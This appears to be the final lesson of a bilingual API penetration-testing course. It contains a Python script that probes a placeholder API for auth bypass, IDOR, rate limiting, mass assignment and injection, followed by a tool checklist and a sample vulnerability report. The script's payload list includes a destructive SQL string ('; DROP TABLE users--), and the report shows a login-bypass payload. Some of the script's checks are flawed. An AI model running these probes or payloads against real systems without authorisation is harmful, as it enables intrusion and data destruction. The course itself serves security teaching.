Full API Pentest
🔥 Vibe Prompt
"Run an automated pentest on a target API. Check: auth, IDOR, rate limiting, mass assignment, injection."
import requests
BASE = "http://target.api.com"
findings = []
# 1. Auth Bypass
r = requests.get(f"{BASE}/admin", headers={"Authorization": "Bearer invalid"})
if r.status_code == 200:
findings.append("CRITICAL: Auth bypass!")
# 2. IDOR (Insecure Direct Object Reference)
r = requests.get(f"{BASE}/api/orders/1", headers={"Authorization": "Bearer valid_token"})
if r.status_code == 200:
r2 = requests.get(f"{BASE}/api/orders/2", headers={"Authorization": "Bearer valid_token"})
if r2.status_code == 200 and r2.json()["user_id"] != "current_user":
findings.append("HIGH: IDOR - can access other users' orders!")
# 3. Rate Limiting
for _ in range(100):
r = requests.post(f"{BASE}/api/login", json={"user": "admin", "pass": "wrong"})
if r.status_code != 429:
pass # No rate limit
# 4. Mass Assignment
r = requests.post(f"{BASE}/api/user/profile", json={"name": "test", "role": "admin"}, headers={"Authorization": "Bearer token"})
if r.status_code == 200:
findings.append("MEDIUM: Mass Assignment - role parameter accepted!")
# 5. Injection in API params
sqli_payloads = ["' OR 1=1--", "'; DROP TABLE users--", "${7*7}"]
for payload in sqli_payloads:
r = requests.get(f"{BASE}/api/search?q={payload}")
if "error" not in r.text.lower() and r.status_code == 200:
findings.append(f"MEDIUM: Possible injection: {payload}")
for f in findings:
print(f"⚠️ {f}")
API Pentest Checklist
| Check | Tool | |-------|------| | Auth bypass | Burp Repeater | | IDOR | Manual UUID increment | | Rate limiting | Bombardier | | Mass assignment | Add unexpected fields | | Injection | sqlmap | | JWT | jwt_tool |
API Pentest Course Complete! 🎉
- ✅ Recon
- ✅ Auth Bypass
- ✅ SQLi/NoSQLi
- ✅ JWT/Session
- ✅ Full Pentest
Key Points
- Understand the core concepts thoroughly
- Practice with hands-on code examples
- Apply knowledge to real-world problems
- Review and reinforce through exercises
Further Learning
完整滲透測試流程回顧
| 階段 | 對應章節 | 核心技能 | |:----:|:--------:|:-------:| | 1. 偵察 | 第一章 | 端點發現、技術識別、子域名枚舉、目錄掃描 | | 2. 認證攻擊 | 第二章 | JWT 偽造、演算法混淆、Session Hijacking | | 3. 注入攻擊 | 第三章 | SQL Injection、NoSQL Injection | | 4. 授權與速率測試 | 第四章 | IDOR、RBAC 繞過、Rate Limiting | | 5. 報告撰寫 | 第五章 | 漏洞分級、CVSS 評分、修復建議 |
一份專業的滲透測試報告
## 漏洞:Critical - SQL Injection
**端點**: POST /api/login
**參數**: username
**Payload**: admin'--
**CVSS**: 9.8 (Critical)
**重現步驟**:
1. 發送 POST /api/login 帶入 username=admin'--
2. 成功登入並取得管理員 Session Token
3. 使用該 Token 存取管理員功能
**建議修復**:
- 使用參數化查詢(Prepared Statement)
- 最小權限資料庫帳號
- 輸入驗證與轉義
課程總結
這五堂課帶你走過一次完整的 API 安全測試生命週期:
- 偵察 → 找到目標
- 攻擊 → 發現漏洞
- 報告 → 溝通修復
真正的 API 安全不是一個工具或一次掃描能解決的——它需要在開發的每個階段都考慮安全,並定期進行滲透測試驗證。
你現在已經具備了獨立執行 API 滲透測試的完整能力。下一步是把這些技能運用到真實的 Bug Bounty 平台(HackerOne、Bugcrowd)上——那裡有真正的目標和獎金等你挑戰。 4. 🏗️ 整合應用:將本章所學整合到你的實際專案中
銜接下一章
本章深入探討了 完整 API 滲透測試 的核心概念與實作方法。下一章將在此基礎上,進一步探索更進階的應用場景——你將學會如何將本章的知識擴展到更複雜的真實世界問題中。
確保你已經完全理解本章的內容再前進,因為下一章會直接建立在這些基礎概念之上。